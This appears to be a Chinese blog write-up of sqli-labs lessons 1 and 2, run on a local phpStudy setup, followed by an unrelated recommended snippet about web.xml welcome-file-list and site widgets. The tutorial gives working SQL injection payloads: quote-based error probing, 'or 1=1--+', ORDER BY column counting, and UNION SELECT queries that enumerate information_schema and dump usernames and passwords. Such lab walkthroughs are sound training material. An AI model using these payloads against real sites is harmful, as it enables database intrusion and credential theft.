MYSQL注入(Welcome Dhakkan)

第一步打开phpStudy,点击启动

打开浏览器输入要登录的题目网址.

less-1
在这里插入图片描述在这里插入图片描述在网址后面输?id=1看一下效果和在数字1后面加一个符号’比较一下
在这里插入图片描述在这里插入图片描述从上述错误当中,我们可以看到提交到 sql 中的 1’在经过 sql 语句构造后形成 ‘1’’ LIMIT 0,1, 多加了一个 ’ 。我们可以尝试一下后面加尝试 ‘or 1=1–+
在这里插入图片描述尝试成功,正常返回数据。

接下来对前面的数据进行排序,利用的是order by 加数字–+
order by 加数字,当数字超过 3 就会报错。
在这里插入图片描述
在这里插入图片描述介绍 union 联合注入,union 的作用是将两个 sql 语句进行联合。Union 可以从 下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。U nion all 与 union 的区别是增加了去重的功能。我们这里根据上述 background 的知识,进行 information_schema 知识的应用。

尝试一下: http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2–+
在这里插入图片描述

当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返 回了我们构造的 union 的数据。

爆破数据库:

后面加?id=1%27union%20select%201,group_concat(schema_name),3%%20from%20information_schema.schemata–+
在这里插入图片描述
爆security数据库的数据表:
后面加:?id=-1%27union%20select%201,group_concat(table_name),3%20f rom%20information_schema.tables%20where%20table_schema=%27security%27–+

在这里插入图片描述爆user表的列:
后面加:?id=-1%27union%20select%201,group_concat(column_name),3%2 0from%20information_schema.columns%20where%20table_name=%27users%27–+
在这里插入图片描述报数据:
后面加:
?id=-1%27union%20select%201,username,password%20from%20 users%20where%20id=2–+
在这里插入图片描述
less-2

首先打开第二道题:
在这里插入图片描述
后面加?id=1和?id=1’
反应的结果和less-1相同
在这里插入图片描述在这里插入图片描述还是由于单引号引起的抛出异常

仍然使用那两种方法采取保护措施,注释掉剩余的查询。

成功注入的

or 1=1
or 1=1--+

这道题同样可以采用union操作进行注入。

  • 4
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
欢迎页(welcome-file)是在web.xml配置文件中设置的一个页面,用于在用户访问网站时自动跳转到该页面。\[1\]它可以是一个HTML、JSP或其他类型的页面。在配置欢迎页时,不需要以斜杠“/”开始,并且默认从WebRoot目录下开始查找资源。\[2\]设置一个网站的欢迎页的作用是,当用户在访问该网站时,如果没有指定具体的资源路径,就会默认访问该网站的欢迎页。\[3\]要设置欢迎页,可以在web.xml文件中使用<welcome-file-list>标签,并在其中添加<welcome-file>标签来指定欢迎页的文件名或路径。例如:<welcome-file-list> <welcome-file>login.html</welcome-file> </welcome-file-list> #### 引用[.reference_title] - *1* [web.xml中的welcome-file-list标签作用](https://blog.csdn.net/ningmeng666_c/article/details/115538178)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [Web站点的欢迎页面 web.xml -> welcome-file-list](https://blog.csdn.net/cheng_feng_xiao_zhan/article/details/97922481)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值